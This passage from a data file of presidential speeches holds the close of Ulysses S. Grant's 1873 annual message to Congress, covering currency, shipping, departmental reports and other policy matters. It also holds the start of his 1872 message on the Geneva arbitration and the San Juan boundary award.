results. Could but one-half of the gold extracted from the mines be\nretained at home, our advance toward specie payments would be rapid.To increase our exports sufficient currency is required to keep all the\nindustries of the country employed. Without this national as well as\nindividual bankruptcy must ensue. Undue inflation, on the other hand, while\nit might give temporary relief, would only lead to inflation of prices, the\nimpossibility of competing in our own markets for the products of home\nskill and labor, and repeated renewals of present experiences. Elasticity\nto our circulating medium, therefore, and just enough of it to transact the\nlegitimate business of the country and to keep all industries employed, is\nwhat is most to be desired. The exact medium is specie, the recognized\nmedium of exchange the world over. That obtained, we shall have a currency\nof an exact degree of elasticity. If there be too much of it for the\nlegitimate purposes of trade and commerce, it will flow out of the country.\nIf too little, the reverse will result. To hold what we have and to\nappreciate our currency to that standard is the problem deserving of the\nmost serious consideration of Congress.The experience of the present panic has proven that the currency of the\ncountry, based, as it is, upon the credit of the country, is the best that\nhas ever been devised. Usually in times of such trials currency has become\nworthless, or so much depreciated in value as to inflate the values of all\nthe necessaries of life as compared with the currency. Everyone holding it\nhas been anxious to dispose of it on any terms. Now we witness the reverse.\nHolders of currency hoard it as they did gold in former experiences of a\nlike nature.It is patent to the most casual observer that much more currency, or money,\nis required to transact the legitimate trade of the country during the fall\nand winter months, when the vast crops are being removed, than during the\nbalance of the year. With our present system the amount in the country\nremains the same throughout the entire year, resulting in an accumulation\nof all the surplus capital of the country in a few centers when not\nemployed in the moving of crops, tempted there by the offer of interest on\ncall loans. Interest being paid, this surplus capital must earn this\ninterest paid with a profit. Being subject to \"call,\" it can not be loaned,\nonly in part at best, to the merchant or manufacturer for a fixed term.\nHence, no matter how much currency there might be in the country, it would\nbe absorbed, prices keeping pace with the volume, and panics, stringency,\nand disasters would ever be recurring with the autumn. Elasticity in our\nmonetary system, therefore, is the object to be attained first, and next to\nthat, as far as possible, a prevention of the use of other people's money\nin stock and other species of speculation. To prevent the latter it seems\nto me that one great step would be taken by prohibiting the national banks\nfrom paying interest on deposits, by requiring them to hold their reserves\nin their own vaults, and by forcing them into resumption, though it would\nonly be in legal-tender notes. For this purpose I would suggest the\nestablishment of clearing houses for your consideration.To secure the former many plans have been suggested, most, if not all, of\nwhich look to me more like inflation on the one hand, or compelling the\nGovernment, on the other, to pay interest, without corresponding benefits,\nupon the surplus funds of the country during the seasons when otherwise\nunemployed.I submit for your consideration whether this difficulty might not be\novercome by authorizing the Secretary of the Treasury to issue at any time\nto national banks of issue any amount of their own notes below a fixed\npercentage of their issue (say 40 per cent), upon the banks' depositing\nwith the Treasurer of the United States an amount of Government bonds equal\nto the amount of notes demanded, the banks to forfeit to the Government,\nsay, 4 per cent of the interest accruing on the bonds so pledged during the\ntime they remain with the Treasurer as security for the increased\ncirculation, the bonds so pledged to be redeemable by the banks at their\npleasure, either in whole or in part, by returning their own bills for\ncancellation to an amount equal to the face of the bonds withdrawn. I would\nfurther suggest for your consideration the propriety of authorizing\nnational banks to diminish their standing issue at pleasure, by returning\nfor cancellation their own bills and withdrawing so many United States\nbonds as are pledged for the bills returned.In view of the great actual contraction that has taken place in the\ncurrency and the comparative contraction continuously going on, due to the\nincrease of population, increase of manufactories and all the industries, I\ndo not believe there is too much of it now for the dullest period of the\nyear. Indeed, if clearing houses should be established, thus forcing\nredemption, it is a question for your consideration whether banking should\nnot be made free, retaining all the safeguards now required to secure bill\nholders. In any modification of the present laws regulating national banks,\nas a further step toward preparing for resumption of specie payments, I\ninvite your attention to a consideration of the propriety of exacting from\nthem the retention as a part of their reserve either the whole or a part of\nthe gold interest accruing upon the bonds pledged as security for their\nissue. I have not reflected enough on the bearing this might have in\nproducing a scarcity of coin with which to pay duties on imports to give it\nmy positive recommendation. But your attention is invited to the subject.During the last four years the currency has been contracted, directly, by\nthe withdrawal of 3 per cent certificates, compound-interest notes, and\n\"seven-thirty\" bonds outstanding on the 4th of March, 1869, all of which\ntook the place of legal-tenders in the bank reserves to the extent of\n$63,000,000.During the same period there has been a much larger comparative contraction\nof the currency. The population of the country has largely increased. More\nthan 25,000 miles of railroad have been built, requiring the active use of\ncapital to operate them. Millions of acres of land have been opened to\ncultivation, requiring capital to move the products. Manufactories have\nmultiplied beyond all precedent in the same period of time, requiring\ncapital weekly for the payment of wages and for the purchase of material;\nand probably the largest of all comparative contraction arises from the\norganizing of free labor in the South. Now every laborer there receives his\nwages, and, for want of savings banks, the greater part of such wages is\ncarried in the pocket or hoarded until required for use.These suggestions are thrown out for your consideration, without any\nrecommendation that they shall be adopted literally, but hoping that the\nbest method may be arrived at to secure such an elasticity of the currency\nas will keep employed all the industries of the country and prevent such an\ninflation as will put off indefinitely the resumption of specie payments,\nan object so devoutly to be wished for by all, and by none more earnestly\nthan the class of people most directly interested--those who \"earn their\nbread by the sweat of their brow.\" The decisions of Congress on this\nsubject will have the hearty support of the Executive.In previous messages I have called attention to the decline in American\nshipbuilding and recommended such legislation as would secure to us our\nproportion of the carrying trade. Stimulated by high rates and abundance of\nfreight, the progress for the last year in shipbuilding has been very\nsatisfactory. There has been an increase of about 3 per cent in the amount\ntransported in American vessels over the amount of last year. With the\nreduced cost of material which has taken place, it may reasonably be hoped\nthat this progress will be maintained, and even increased. However, as we\npay about $80,000,000 per annum to foreign vessels for the transportation\nto a market of our surplus products, thus increasing the balance of trade\nagainst us to this amount, the subject is one worthy of your serious\nconsideration.\"Cheap transportation\" is a subject that has attracted the attention of\nboth producers and consumers for the past few years, and has contributed\nto, if it has not been the direct cause of, the recent panic and\nstringency.As Congress, at its last session, appointed a special committee to\ninvestigate this whole subject during the vacation and report at this\nsession, I have nothing to recommend until their report is read.There is one work, however, of a national character, in which the greater\nportion of the East and the West, the North and the South, are equally\ninterested, to which I will invite your attention.The State of New York has a canal connecting Lake Erie with tide water on\nthe Hudson River. The State of Illinois has a similar work connecting Lake\nMichigan with navigable water on the Illinois River, thus making water\ncommunication inland between the East and the West and South. These great\nartificial water courses are the property of the States through which they\npass, and pay toll to those States. Would it not be wise statesmanship to\npledge these States that if they will open these canals for the passage of\nlarge vessels the General Government will look after and keep in navigable\ncondition the great public highways with which they connect, to wit, the\nOverslaugh on the Hudson, the St. Clair Flats, and the Illinois and\nMississippi rivers? This would be a national work; one of great value to\nthe producers of the West and South in giving them cheap transportation for\ntheir produce to the seaboard and a market, and to the consumers in the\nEast in giving them cheaper food, particularly of those articles of food\nwhich do not find a foreign market, and the prices of which, therefore, are\nnot regulated by foreign demands. The advantages of such a work are too\nobvious for argument. I submit the subject to you, therefore, without\nfurther comment.In attempting to regain our lost commerce and carrying trade I have\nheretofore called attention to the States south of us offering a field\nwhere much might be accomplished. To further this object I suggest that a\nsmall appropriation be made, accompanied with authority for the Secretary\nof the Navy to fit out a naval vessel to ascend the Amazon River to the\nmouth of the Madeira; thence to explore that river and its tributaries into\nBolivia, and to report to Congress at its next session, or as soon as\npracticable, the accessibility of the country by water, its resources, and\nthe population so reached. Such an exploration would cost but little; it\ncan do no harm, and may result in establishing a trade of value to both\nnations.In further connection with the Treasury Department I would recommend a\nrevision and codification of the tariff laws and the opening of more mints\nfor coining money, with authority to coin for such nations as may apply.WAR DEPARTMENT.The attention of Congress is invited to the recommendations contained in\nthe report of the Secretary of War herewith accompanying.The apparent great cost of supporting the Army is fully explained by this\nreport, and I hope will receive your attention.While inviting your general attention to all the recommendations made by\nthe Secretary of War, there are two which I would especially invite you to\nconsider: First, the importance of preparing for war in time of peace by\nproviding proper armament for our seacoast defenses. Proper armament is of\nvastly more importance than fortifications. The latter can be supplied very\nspeedily for temporary purposes when needed; the former can not. The second\nis the necessity of reopening promotion in the staff corps of the Army.\nParticularly is this necessity felt in the Medical, Pay, and Ordnance\ndepartments.At this time it is necessary to employ \"contract surgeons\" to supply the\nnecessary medical attendance required by the Army.With the present force of the Pay Department it is now difficult to make\nthe payments to troops provided for by law. Long delays in payments are\nproductive of desertions and other demoralization, and the law prohibits\nthe payment of troops by other than regular army paymasters.There are now sixteen vacancies in the Ordnance Department, thus leaving\nthat branch of the service without sufficient officers to conduct the\nbusiness of the different arsenals on a large scale if ever required.NAVY DEPARTMENT.During the past year our Navy has been depleted by the sale of some vessels\nno longer fit for naval service and by the condemnation of others not yet\ndisposed of. This, however, has been more than compensated for by the\nrepair of six of the old wooden ships and by the building of eight new\nsloops of war, authorized by the last Congress. The building of these\nlatter has occurred at a doubly fortunate time. They are about being\ncompleted at a time when they may possibly be much needed, and the work\nupon them has not only given direct employment to thousands of men, but has\nno doubt been the means of keeping open establishments for other work at a\ntime of great financial distress.Since the commencement of the last month, however, the distressing\noccurrences which have taken place in the waters of the Caribbean Sea,\nalmost on our very seaboard, while they illustrate most forcibly the\nnecessity always existing that a nation situated like ours should maintain\nin a state of possible efficiency a navy adequate to its responsibilities,\nhas at the same time demanded that all the effective force we really have\nshall be put in immediate readiness for warlike service. This has been and\nis being done promptly and effectively, and I am assured that all the\navailable ships and every authorized man of the American Navy will be ready\nfor whatever action is required for the safety of our citizens or the\nmaintenance of our honor. This, of course, will require the expenditure in\na short time of some of the appropriations which were calculated to extend\nthrough the fiscal year, but Congress will, I doubt not, understand and\nappreciate the emergency, and will provide adequately not only for the\npresent preparation, but for the future maintenance of our naval force. The\nSecretary of the Navy has during the past year been quietly putting some of\nour most effective monitors in condition for service, and thus the exigency\nfinds us in a much better condition for work than we could possibly have\nbeen without his action.POST-OFFICE DEPARTMENT.A complete exhibit is presented in the accompanying report of the\npostmaster-General of the operations of the Post-Office Department during\nthe year. The ordinary postal revenues for the fiscal year ended June 30,\n1873, amounted to $22,996,741.57, and the expenditures of all kinds to\n$29,084,945.67. The increase of revenues over 1872 was $1,081,315.20, and\nthe increase of expenditures $2,426,753.36.Independent of the payments made from special appropriations for mail\nsteamship lines, the amount drawn from the General Treasury to meet\ndeficiencies was $5,265,475. The constant and rapid extension of our postal\nservice, particularly upon railways, and the improved facilities for the\ncollection, transmission, distribution, and delivery of the mails which are\nconstantly being provided account for the increased expenditures of this\npopular branch of the public service.The total number of post-offices in operation on June 30, 1873, was 33,244,\na net increase of 1,381 over the number reported the preceding year. The\nnumber of Presidential offices was 1,363, an increase of 163 during the\nyear. The total length of railroad mail routes at the close of the year was\n63,457 miles, an increase of 5,546 miles over the year 1872. Fifty-nine\nrailway post-office lines were in operation June 30, 1873, extending over\n14,866 miles of railroad routes and performing an aggregate service of\n34,925 miles daily.The number of letters exchanged with foreign countries was 27,459,185, an\nincrease of 3,096,685 over the previous year, and the postage thereon\namounted to $2,021,310.86. The total weight of correspondence exchanged in\nthe mails with European countries exceeded 912 tons, an increase of 92 tons\nover the previous year. The total cost of the United States ocean steamship\nservice, including $725,000 paid from special appropriations to subsidized\nlines of mail steamers, was $1,047,271.35.New or additional postal conventions have been concluded with Sweden,\nNorway, Belgium, Germany, Canada, Newfoundland, and Japan, reducing postage\nrates on correspondence exchanged with those countries; and further efforts\nhave been made to conclude a satisfactory postal convention with France,\nbut without success.I invite the favorable consideration of Congress to the suggestions and\nrecommendations of the Postmaster-General for an extension of the\nfree-delivery system in all cities having a population of not less than\n10,000; for the prepayment of postage on newspapers and other printed\nmatter of the second class; for a uniform postage and limit of weight on\nmiscellaneous matter; for adjusting the compensation of all postmasters not\nappointed by the President, by the old method of commissions on the actual\nreceipts of the office, instead of the present mode of fixing the salary in\nadvance upon special returns; and especially do I urge favorable action by\nCongress on the important recommendations of the Postmaster-General for the\nestablishment of United States postal savings depositories.Your attention is also again called to a consideration of the question of\npostal telegraphs and the arguments adduced in support thereof, in the hope\nthat you may take such action in connection therewith as in your judgment\nwill most contribute to the best interests of the country.DEPARTMENT OF JUSTICE.Affairs in Utah require your early and special attention. The Supreme Court\nof the United States, in the case of Clinton vs. Englebrecht, decided that\nthe United States marshal of that Territory could not lawfully summon\njurors for the district courts; and those courts hold that the Territorial\nmarshal can not lawfully perform that duty, because he is elected by the\nlegislative assembly, and not appointed as provided for in the act\norganizing the Territory. All proceedings at law are practically abolished\nby these decisions, and there have been but few or no jury trials in the\ndistrict courts of that Territory since the last session of Congress.\nProperty is left without protection by the courts, and crimes go\nunpunished. To prevent anarchy there it is absolutely necessary that\nCongress provide the courts with some mode of obtaining jurors, and I\nrecommend legislation to that end, and also that the probate courts of the\nTerritory, now assuming to issue writs of injunction and habeas corpus and\nto try criminal cases and questions as to land titles, be denied all\njurisdiction not possessed ordinarily by courts of that description.I have become impressed with the belief that the act approved March 2,\n1867, entitled \"An act to establish a uniform system of bankruptcy\nthroughout the United States,\" is productive of more evil than good at this\ntime. Many considerations might be urged for its total repeal, but, if this\nis not considered advisable, I think it will not be seriously questioned\nthat those portions of said act providing for what is called involuntary\nbankruptcy operate to increase the financial embarrassments of the country.\nCareful and prudent men very often become involved in debt in the\ntransaction of their business, and though they may possess ample property,\nif it could be made available for that purpose, to meet all their\nliabilities, yet, on account of the extraordinary scarcity of money, they\nmay be unable to meet all their pecuniary obligations as they become due,\nin consequence of which they are liable to be prostrated in their business\nby proceedings in bankruptcy at the instance of unrelenting creditors.\nPeople are now so easily alarmed as to monetary matters that the mere\nfiling of a petition in bankruptcy by an unfriendly creditor will\nnecessarily embarrass, and oftentimes accomplish the financial ruin, of a\nresponsible business man. Those who otherwise might make lawful and just\narrangements to relieve themselves from difficulties produced by the\npresent stringency in money are prevented by their constant exposure to\nattack and disappointment by proceedings against them in bankruptcy, and,\nbesides, the law is made use of in many cases by obdurate creditors to\nfrighten or force debtors into a compliance with their wishes and into acts\nof injustice to other creditors and to themselves. I recommend that so much\nof said act as provides for involuntary bankruptcy on account of the\nsuspension of payment be repealed.Your careful attention is invited to the subject of claims against the\nGovernment and to the facilities afforded by existing laws for their\nprosecution. Each of the Departments of State, Treasury, and War has\ndemands for many millions of dollars upon its files, and they are rapidly\naccumulating. To these may be added those now pending before Congress, the\nCourt of Claims, and the Southern Claims Commission, making in the\naggregate an immense sum. Most of these grow out of the rebellion, and are\nintended to indemnify persons on both sides for their losses during the\nwar; and not a few of them are fabricated and supported by false testimony.\nProjects are on foot, it is believed, to induce Congress to provide for new\nclasses of claims, and to revive old ones through the repeal or\nmodification of the statute of limitations, by which they are now barred. I\npresume these schemes, if proposed, will be received with little favor by\nCongress, and I recommend that persons having claims against the United\nStates cognizable by any tribunal or Department thereof be required to\npresent them at an early day, and that legislation be directed as far as\npracticable to the defeat of unfounded and unjust demands upon the\nGovernment; and I would suggest, as a means of preventing fraud, that\nwitnesses be called upon to appear in person to testify before those\ntribunals having said claims before them for adjudication. Probably the\nlargest saving to the National Treasury can be secured by timely\nlegislation on these subjects of any of the economic measures that will be\nproposed.You will be advised of the operations of the Department of Justice by the\nreport of the Attorney-General, and I invite your attention to the\namendments of existing laws suggested by him, with the view of reducing the\nexpenses of that Department.DEPARTMENT OF THE INTERIOR.The policy inaugurated toward the Indians at the beginning of the last\nAdministration has been steadily pursued, and, I believe, with beneficial\nresults. It will be continued with only such modifications as time and\nexperience may demonstrate as necessary.With the encroachment of civilization upon the Indian reservations and\nhunting grounds, disturbances have taken place between the Indians and\nwhites during the past year, and probably will continue to do so until each\nrace appreciates that the other has rights which must be respected.The policy has been to collect the Indians as rapidly as possible on\nreservations, and as far as practicable within what is known as the Indian\nTerritory, and to teach them the arts of civilization and self-support.\nWhere found off their reservations, and endangering the peace and safety of\nthe whites, they have been punished, and will continue to be for like\noffenses.The Indian Territory south of Kansas and west of Arkansas is sufficient in\narea and agricultural resources to support all the Indians east of the\nRocky Mountains. In time, no doubt, all of them, except a few who may elect\nto make their homes among white people, will be collected there. As a\npreparatory step for this consummation, I am now satisfied that a\nTerritorial form of government should be given them, which will secure the\ntreaty rights of the original settlers and protect their homesteads from\nalienation for a period of twenty years.The operations of the Patent Office are growing to such a magnitude and the\naccumulation of material is becoming so great that the necessity of more\nroom is becoming more obvious day by day. I respectfully invite your\nattention to the reports of the Secretary of the Interior and Commissioner\nof Patents on this subject.The business of the General Land Office exhibits a material increase in all\nits branches during the last fiscal year. During that time there were\ndisposed of out of the public lands 13,030,606 acres, being an amount\ngreater by 1,165,631 acres than was disposed of during the preceding year.\nOf the amount disposed of, 1,626,266 acres were sold for cash, 214,940\nacres were located with military land warrants, 3,793,612 acres were taken\nfor homesteads, 653,446 acres were located with agricultural-college scrip,\n6,083,536 acres were certified by railroads, 76,576 acres were granted to\nwagon roads, 238,548 acres were approved to States as swamp lands, 138,681\nacres were certified for agricultural colleges, common schools,\nuniversities, and seminaries, 190,775 acres were approved to States for\ninternal improvements, and 14,222 acres were located with Indian scrip. The\ncash receipts during the same time were $3,408,515.50, being $190,415.50 in\nexcess of the receipts of the previous year. During the year 30,488,132\nacres of public land were surveyed, an increase over the amount surveyed\nthe previous year of 1,037,193 acres, and, added to the area previously\nsurveyed, aggregates 616,554,895 acres which have been surveyed, leaving\n1,218,443,505 acres of the public land still unsurveyed.The increased and steadily increasing facilities for reaching our\nunoccupied public domain and for the transportation of surplus products\nenlarge the available field for desirable homestead locations, thus\nstimulating settlement and extending year by year in a gradually increasing\nratio the area of occupation and cultivation.The expressed desire of the representatives of a large colony of citizens\nof Russia to emigrate to this country, as is understood, with the consent\nof their Government, if certain concessions can be made to enable them to\nsettle in a compact colony, is of great interest, as going to show the\nlight in which our institutions are regarded by an industrious,\nintelligent, and wealthy people, desirous of enjoying civil and religious\nliberty; and the acquisition of so large an immigration of citizens of a\nsuperior class would without doubt be of substantial benefit to the\ncountry. I invite attention to the suggestion of the Secretary of the\nInterior in this behalf.There was paid during the last fiscal year for pensions, including the\nexpense of disbursement, $29,185,289.62, being an amount less by\n$984,050.98 than was expended for the same purpose the preceding year.\nAlthough this statement of expenditures would indicate a material reduction\nin amount compared with the preceding year, it is believed that the changes\nin the pension laws at the last session of Congress will absorb that amount\nthe current year. At the close of the last fiscal year there were on the\npension rolls 99,804 invalid military pensioners and 112,088 widows,\norphans, and dependent relatives of deceased soldiers, making a total of\nthat class of 211,892; 18,266 survivors of the War of 1812 and 5,058 widows\nof soldiers of that war pensioned under the act of Congress of February 14,\n1871, making a total of that class of 23,319; 1,480 invalid navy pensioners\nand 1,770 widows, orphans, and dependent relatives of deceased officers,\nsailors, and marines of the Navy, making a total of navy pensioners of\n3,200, and a grand total of pensioners of 311 classes of 238,411, showing a\nnet increase during the last fiscal year of 6,182. During the last year the\nnames of 16,405 pensioners were added to the rolls, and 10,223 names were\ndropped therefrom for various causes.The system adopted for the detection of frauds against the Government in\nthe matter of pensions has been productive of satisfactory results, but\nlegislation is needed to provide, if possible, against the perpetration of\nsuch frauds in future.The evidently increasing interest in the cause of education is a most\nencouraging feature in the general progress and prosperity of the country,\nand the Bureau of Education is earnest in its efforts to give proper\ndirection to the new appliances and increased facilities which are being\noffered to aid the educators of the country in their great work.The Ninth Census has been completed, the report thereof published and\ndistributed, and the working force of the Bureau disbanded. The Secretary\nof the Interior renews his recommendation for a census to be taken in 1875,\nto which subject the attention of Congress is invited. The original\nsuggestion in that behalf has met with the general approval of the country;\nand even if it be not deemed advisable at present to provide for a regular\nquinquennial census, a census taken in 1875, the report of which could be\ncompleted and published before the one hundredth anniversary of our\nnational independence, would be especially interesting and valuable, as\nshowing the progress of the country during the first century of our\nnational existence. It is believed, however, that a regular census every\nfive years would be of substantial benefit to the country, inasmuch as our\ngrowth hitherto has been so rapid that the results of the decennial census\nare necessarily unreliable as a basis of estimates for the latter years of\na decennial period.DISTRICT OF COLUMBIA.Under the very efficient management of the governor and the board of public\nworks of this District the city of Washington is rapidly assuming the\nappearance of a capital of which the nation may well be proud. From being a\nmost unsightly place three years ago, disagreeable to pass through in\nsummer in consequence of the dust arising from unpaved streets, and almost\nimpassable in the winter from the mud, it is now one of the most sightly\ncities in the country, and can boast of being the best paved.The work has been done systematically, the plans, grades, location of\nsewers, water and gas mains being determined upon before the work was\ncommenced, thus securing permanency when completed. I question whether so\nmuch has ever been accomplished before in any American city for the same\nexpenditures. The Government having large reservations in the city, and the\nnation at large having an interest in their capital, I recommend a liberal\npolicy toward the District of Columbia, and that the Government should bear\nits just share of the expense of these improvements. Every citizen visiting\nthe capital feels a pride in its growing beauty, and that he too is part\nowner in the investments made here.I would suggest to Congress the propriety of promoting the establishment in\nthis District of an institution of learning, or university of the highest\nclass, by the donation of lands. There is no place better suited for such\nan institution than the national capital. There is no other place in which\nevery citizen is so directly interested.CIVIL-SERVICE REFORM.In three successive messages to Congress I have called attention to the\nsubject of \"civil-service reform.\"Action has been taken so far as to authorize the appointment of a board to\ndevise rules governing methods of making appointments and promotions, but\nthere never has been any action making these rules, or any rules, binding,\nor even entitled to observance, where persons desire the appointment of a\nfriend or the removal of an official who may be disagreeable to them.To have any rules effective they must have the acquiescence of Congress as\nwell as of the Executive. I commend, therefore, the subject to your\nattention, and suggest that a special committee of Congress might confer\nwith the Civil-Service Board during the present session for the purpose of\ndevising such rules as can be maintained, and which will secure the\nservices of honest and capable officials, and which will also protect them\nin a degree of independence while in office.Proper rules will protect Congress, as well as the Executive, from much\nneedless persecution, and will prove of great value to the public at\nlarge.I would recommend for your favorable consideration the passage of an\nenabling act for the admission of Colorado as a State in the Union. It\npossesses all the elements of a prosperous State, agricultural and mineral,\nand, I believe, has a population now to justify such admission. In\nconnection with this I would also recommend the encouragement of a canal\nfor purposes of irrigation from the eastern slope of the Rocky Mountains to\nthe Missouri River. As a rule I am opposed to further donations of public\nlands for internal improvements owned and controlled by private\ncorporations, but in this instance I would make an exception. Between the\nMissouri River and the Rocky Mountains there is an arid belt of public land\nfrom 300 to 500 miles in width, perfectly valueless for the occupation of\nman, for the want of sufficient rain to secure the growth of any product.\nAn irrigating canal would make productive a belt as wide as the supply of\nwater could be made to spread over across this entire country, and would\nsecure a cordon of settlements connecting the present population of the\nmountain and mining regions with that of the older States. All the land\nreclaimed would be clear gain. If alternate sections are retained by the\nGovernment, I would suggest that the retained sections be thrown open to\nentry under the homestead laws, or sold to actual settlers for a very low\nprice.I renew my previous recommendation to Congress for general amnesty. The\nnumber engaged in the late rebellion yet laboring under disabilities is\nvery small, but enough to keep up a constant irritation. No possible danger\ncan accrue to the Government by restoring them to eligibility to hold\noffice.I suggest for your consideration the enactment of a law to better secure\nthe civil rights which freedom should secure, but has not effectually\nsecured, to the enfranchised slave.U. S. GRANT", 
+    "name": "Ulysses S. Grant"
+}
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+{
+    "date": "December 2, 1872", 
+    "speech": "To the Senate and House of Representatives:In transmitting to you this my fourth annual message it is with\nthankfulness to the Giver of All Good that as a nation we have been blessed\nfor the past year with peace at home, peace abroad, and a general\nprosperity vouchsafed to but few peoples.With the exception of the recent devastating fire which swept from the\nearth with a breath, as it were, millions of accumulated wealth in the city\nof Boston, there has been no overshadowing calamity within the year to\nrecord. It is gratifying to note how, like their fellow-citizens of the\ncity of Chicago under similar circumstances a year earlier, the citizens of\nBoston are rallying under their misfortunes, and the prospect that their\nenergy and perseverance will overcome all obstacles and show the same\nprosperity soon that they would had no disaster befallen them. Otherwise we\nhave been free from pestilence, war, and calamities, which often overtake\nnations; and, as far as human judgment can penetrate the future, no cause\nseems to exist to threaten our present peace.When Congress adjourned in June last, a question had been raised by Great\nBritain, and was then pending, which for a time seriously imperiled the\nsettlement by friendly arbitration of the grave differences between this\nGovernment and that of Her Britannic Majesty, which by the treaty of\nWashington had been referred to the tribunal of arbitration which had met\nat Geneva, in Switzerland.The arbitrators, however, disposed of the question which had jeoparded the\nwhole of the treaty and threatened to involve the two nations in most\nunhappy relations toward each other in a manner entirely satisfactory to\nthis Government and in accordance with the views and the policy which it\nhad maintained.The tribunal, which had convened at Geneva in December, concluded its\nlaborious session on the 14th day of September last, on which day, having\navailed itself of the discretionary power given to it by the treaty to\naward a sum in gross, it made its decision, whereby it awarded the sum of\n$15,500,000 in gold as the indemnity to be paid by Great Britain to the\nUnited States for the satisfaction of all the claims referred to its\nconsideration.This decision happily disposes of a long-standing difference between the\ntwo Governments, and, in connection with another award, made by the German\nEmperor under a reference to him by the same treaty, leaves these two\nGovernments without a shadow upon the friendly relations which it is my\nsincere hope may forever remain equally unclouded.The report of the agent of the United States appointed to attend the Geneva\ntribunal, accompanied by the protocols of the proceedings of the\narbitrators, the arguments of the counsel of both Governments, the award of\nthe tribunal, and the opinions given by the several arbitrators, is\ntransmitted herewith.I have caused to be communicated to the heads of the three friendly powers\nwho complied with the joint request made to them under the treaty the\nthanks of this Government for the appointment of arbitrators made by them\nrespectively, and also my thanks to the eminent personages named by them,\nand my appreciation of the dignity, patience, impartiality, and great\nability with which they discharged their arduous and high functions.Her Majesty's Government has communicated to me the appreciation by Her\nMajesty of the ability and indefatigable industry displayed by Mr. Adams,\nthe arbitrator named on the part of this Government during the protracted\ninquiries and discussions of the tribunal. I cordially unite with Her\nMajesty in this appreciation.It is due to the agent of the United States before the tribunal to record\nmy high appreciation of the marked ability, unwearied patience, and the\nprudence and discretion with which he has conducted the very responsible\nand delicate duties committed to him, as it is also due to the learned and\neminent counsel who attended the tribunal on the part of this Government to\nexpress my sense of the talents and wisdom which they brought to bear in\nthe attainment of the result so happily reached.It will be the province of Congress to provide for the distribution among\nthose who may be entitled to it of their respective shares of the money to\nbe paid. Although the sum awarded is not payable until a year from the date\nof the award, it is deemed advisable that no time be lost in making a\nproper examination of the several cases in which indemnification may be\ndue. I consequently recommend the creation of a board of commissioners for\nthe purpose.By the thirty-fourth article of the treaty of Washington the respective\nclaims of the United States and of Great Britain in their construction of\nthe treaty of the 15th of June, 1846, defining the boundary line between\ntheir respective territories, were submitted to the arbitration and award\nof His Majesty the Emperor of Germany, to decide which of those claims is\nmost in accordance with the true interpretation of the treaty of 1846.His Majesty the Emperor of Germany, having been pleased to undertake the\narbitration, has the earnest thanks of this Government and of the people of\nthe United States for the labor, pains, and care which he has devoted to\nthe consideration of this long-pending difference. I have caused an\nexpression of my thanks to be communicated to His Majesty. Mr. Bancroft,\nthe representative of this Government at Berlin, conducted the case and\nprepared the statement on the part of the United States with the ability\nthat his past services justified the public in expecting at his hands. As a\nmember of the Cabinet at the date of the treaty which has given rise to the\ndiscussion between the two Governments, as the minister to Great Britain\nwhen the construction now pronounced unfounded was first advanced, and as\nthe agent and representative of the Government to present the case and to\nreceive the award, he has been associated with the question in all of its\nphases, and in every stage has manifested a patriotic zeal and earnestness\nin maintenance of the claim of the United States. He is entitled to much\ncredit for the success which has attended the submission.After a patient investigation of the case and of the statements of each\nparty, His Majesty the Emperor, on the 21st day of October last, signed his\naward in writing, decreeing that the claim of the Government of the United\nStates, that the boundary line between the territories of Her Britannic\nMajesty and the United States should be drawn through the Haro Channel, is\nmost in accordance with the true interpretation of the treaty concluded on\nthe 15th of June, 1846, between the Governments of Her Britannic Majesty\nand of the United States.Copies of the \"case\" presented on behalf of each Government, and of the\n\"statement in reply\" of each, and a translation of the award, are\ntransmitted herewith.This award confirms the United States in their claim to the important\narchipelago of islands lying between the continent and Vancouvers Island,\nwhich for more than twenty-six years (ever since the ratification of the\ntreaty) Great Britain has contested, and leaves us, for the first time in\nthe history of the United States as a nation, without a question of\ndisputed boundary between our territory and the possessions of Great\nBritain on this continent.It is my grateful duty to acknowledge the prompt, spontaneous action of Her\nMajesty's Government in giving effect to the award. In anticipation of any\nrequest from this Government, and before the reception in the United States\nof the award signed by the Emperor, Her Majesty had given instructions for\nthe removal of her troops which had been stationed there and for the\ncessation of all exercise or claim of jurisdiction, so as to leave the\nUnited States in the exclusive possession of the lately disputed territory.\nI am gratified to be able to announce that the orders for the removal of\nthe troops have been executed, and that the military joint occupation of\nSan Juan has ceased. The islands are now in the exclusive possession of the\nUnited States.It now becomes necessary to complete the survey and determination of that\nportion of the boundary line (through the Haro Channel) upon which the\ncommission which determined the remaining part of the line were unable to\nagree. I recommend the appointment of a commission to act jointly with one\nwhich may be named by Her Majesty for that purpose.Experience of the difficulties attending the determination of our admitted\nline of boundary, after the occupation of the territory and its settlement\nby those owing allegiance to the respective Governments, points to the\nimportance of establishing, by natural objects or other monuments, the\nactual line between the territory acquired by purchase from Russia and the\nadjoining possessions of Her Britannic Majesty. The region is now so\nsparsely occupied that no conflicting interests of individuals or of\njurisdiction are likely to interfere to the delay or embarrassment of the\nactual location of the line. If deferred until population shall enter and\noccupy the territory, some trivial contest of neighbors may again array the\ntwo Governments in antagonism. I therefore recommend the appointment of a\ncommission, to act jointly with one that may be appointed on the part of\nGreat Britain, to determine the line between our Territory of Alaska and\nthe conterminous possessions of Great Britain.In my last annual message I recommended the legislation necessary on the\npart of the United States to bring into operation the articles of the\ntreaty of Washington of May 8, 1871, relating to the fisheries and to other\nmatters touching the relations of the United States toward the British\nNorth American possessions, to become operative so soon as the proper\nlegislation should be had on the part of Great Britain and its\npossessions.That legislation on the part of Great Britain and its possessions had not\nthen been had, and during the session of Congress a question was raised\nwhich for the time raised a doubt whether any action by Congress in the\ndirection indicated would become important. This question has since been\ndisposed of, and I have received notice that the Imperial Parliament and\nthe legislatures of the provincial governments have passed laws to carry\nthe provisions of the treaty on the matters referred to into operation. I\ntherefore recommend your early adoption of the legislation in the same\ndirection necessary on the part of this Government.The joint commission for determining the boundary line between the United\nStates and the British possessions between the Lake of the Woods and the\nRocky Mountains has organized and entered upon its work. It is desirable\nthat the force be increased, in order that the completion of the survey and\ndetermination of the line may be the sooner attained. To this end I\nrecommend that a sufficient appropriation be made.With France, our earliest ally; Russia, the constant and steady friend of\nthe United States; Germany, with whose Government and people we have so\nmany causes of friendship and so many common sympathies, and the other\npowers of Europe, our relations are maintained on the most friendly terms.Since my last annual message the exchange has been made of the\nratifications of a treaty with the Austro-Hungarian Empire relating to\nnaturalization; also of a treaty with the German Empire respecting consuls\nand trade-marks; also of a treaty with Sweden and Norway relating to\nnaturalization; all of which treaties have been duly proclaimed.Congress at its last session having made an appropriation to defray the\nexpense of commissioners on the part of the United States to the\nInternational Statistical Congress at St. Petersburg, the persons appointed\nin that character proceeded to their destination and 